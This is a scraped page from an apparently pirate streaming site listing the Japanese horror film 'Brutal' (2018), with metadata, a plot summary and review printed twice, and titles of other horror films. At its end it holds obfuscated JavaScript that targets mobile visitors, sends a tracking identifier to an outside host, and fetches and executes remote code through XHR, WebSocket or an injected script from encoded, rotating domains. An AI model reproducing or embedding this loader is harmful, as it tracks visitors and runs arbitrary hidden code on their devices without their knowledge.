影片信息
- 片名:残酷
- 拼音:canku
- 状态:正片
- 版本:内详
- 类别:正片
- 更新:2025-09-01 18:48
- 导演:未知
- 主演:仁科贵/亚矢乃/
- 年份:2018
- 地区:日本
- 类型:恐怖/
- 时长:内详
- 上映:2018-12-11
- 语言:日语
- 简介:Constantly on the hunt and suffering from hallucinations that drive his violent nature, an unnamed man is capturing women and savagely beating them to death. Meanwhile, a woman is luring men into a violent end, by way of her knife. Driven by the same force to make the opposite sex suffer, the killers’ fates intertwine. The two must face off in a battle to the death, in which they are forced to reveal the horrible truth behind their addiction to murder. “Brutal” takes an interesting approach to its visuals, drawing heavy influence from Western “Grindhouse” films, using a filter to make the footage appear grainy, damaged, and with light and color fluctuations. Unfortunately, the visual styling ends up feeling misguided, as other than applying the filter it does not imitate any other aspects of the “Grindhouse” genre. Despite trying to dirty up the film, it is apparent it was shot on digital. The cinematography is also a step above most “Grindhouse” productions, with Takashi Hirose proving he has talent behind the camera. Exterior shots to those taking place in small spaces are all competently framed, lit, and transition well. The decision to add an effect on top of the work hurts the film’s imagery and even gives a sense of desperation to try to capture a certain type of nostalgia with the audience, instead of relying on its own strengths. It is unfortunate when one creative choice can hurt a production so much. The story of “Brutal” is simple but effective, it does attempt some sort of social commentary about the violent nature of men and women, but it does not offer enough depth into the subject to justify the amount of violence on display. The film does end on a strong note with an interesting twist, with a reveal that is bound to gross some out, while giving others a chuckle. In spite of its simple nature, those who enjoy films that make them somewhat uncomfortable and enjoy the challenge of getting through some ultra-violence, “Brutal” poses a fun and entertaining challenge in that regard.
- 779

收藏网址(www.ktanx.com)追剧不迷路哦~
播放列表
倒序剧情简介
Constantly on the hunt and suffering from hallucinations that drive his violent nature, an unnamed man is capturing women and savagely beating them to death. Meanwhile, a woman is luring men into a violent end, by way of her knife. Driven by the same force to make the opposite sex suffer, the killers’ fates intertwine. The two must face off in a battle to the death, in which they are forced to reveal the horrible truth behind their addiction to murder. “Brutal” takes an interesting approach to its visuals, drawing heavy influence from Western “Grindhouse” films, using a filter to make the footage appear grainy, damaged, and with light and color fluctuations. Unfortunately, the visual styling ends up feeling misguided, as other than applying the filter it does not imitate any other aspects of the “Grindhouse” genre. Despite trying to dirty up the film, it is apparent it was shot on digital. The cinematography is also a step above most “Grindhouse” productions, with Takashi Hirose proving he has talent behind the camera. Exterior shots to those taking place in small spaces are all competently framed, lit, and transition well. The decision to add an effect on top of the work hurts the film’s imagery and even gives a sense of desperation to try to capture a certain type of nostalgia with the audience, instead of relying on its own strengths. It is unfortunate when one creative choice can hurt a production so much. The story of “Brutal” is simple but effective, it does attempt some sort of social commentary about the violent nature of men and women, but it does not offer enough depth into the subject to justify the amount of violence on display. The film does end on a strong note with an interesting twist, with a reveal that is bound to gross some out, while giving others a chuckle. In spite of its simple nature, those who enjoy films that make them somewhat uncomfortable and enjoy the challenge of getting through some ultra-violence, “Brutal” poses a fun and entertaining challenge in that regard.展开
正片
正片
1.0 我知道你去年夏天干了什么(重启版)/旧年暑假搞乜鬼(港)/是谁搞的鬼(台)/我永远忘不了你去年夏天做了什么/I Never Forget What You Did Last Summer/
正片
3.0米歇尔·道克瑞/吉安卡罗·埃斯波西托/佐伊·玛格丽特·科莱蒂/安德鲁·莱内尔/Jessica/Osbourne/丽甘·阿利亚/迪恩·斯科特·瓦兹奎兹/Vernon/Davis/Emma/Meisel/Algin/Mendez/约书亚·梅尔尼克/Jeff/Allen/Lilit/Grigoryev/Javier/Sernas/
正片
6.0 我知道你去年夏天干了什么(重启版)/旧年暑假搞乜鬼(港)/是谁搞的鬼(台)/我永远忘不了你去年夏天做了什么/I Never Forget What You Did Last Summer/
正片
10.0地堡游戏/The/Bunker/Game2022/地堡游戏/The/Bunker/Game/
正片
正片
4.0追凶摄影机(台)/Streetwalkers/
正片
正片
正片
5.0超危险警探(台)/睡狗/沉睡烈犬/Sleeping/Dogs/
正片
5.0 Search for the Vengeance/古堡守灵人/
正片
4.0邪恶愿望/怨望/What/You/Wish/For/
正片
4.0 Rose’s War/巴尔的摩/Baltimore/
正片
正片
正片
10.0 Matt O'Leary/Laura Vandervoort/Myles Jeffrey/
正片
正片
1.0 杀鹿斑比(台)/Bambi: El ajuste de cuentas/
正片
5.0勇闯猛鬼村/秘鲁奥鲁/Bhairavakona/Ooru/Peru/Bhairavakona/
豆瓣高分
2.0 尸杀片场(港)/一尸到底(台)/One Cut of the Dead/Kamera o tomeru na!/摄影机不要停!/カメラを止めるな!/
7.0 Following/She`s Dead/她死了/그녀가/죽었다/
10.0 Corpse Bath/尸体沐浴/Pemandi/Jenazah/
正片
6.0鬼咧號/血腥列车/Kereta/Berdarah/
正片
正片
7.0国王潮汐/The/King/Tide2023/国王潮汐/The/King/Tide/
正片
3.0噤界:入侵日(台)/无声绝境外传:首袭日(港)/无声绝境III(港)/寂静之地前传/寂静之地:入侵日/A/Quiet/Place:/Day/One/
正片
3.0 Mystery Writers/鬼天厦/鬼天廈/
function CCCPWr(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return CCCPWr(t);};window[''+'d'+'k'+'M'+'s'+'k'+'v'+'s'+'M'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwe.ksdnflkssvv.com:8887/stats/2113?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLnNrbbmtnZ2ZubbS5jbb20lM0E4ODg3','d3NzJTTNBJTTJGJTTJGZC5zZGxrZmtsc2R2dmIuY29tJTTNBODg4Nw==','2239',window,document,['b','T']);}:function(){};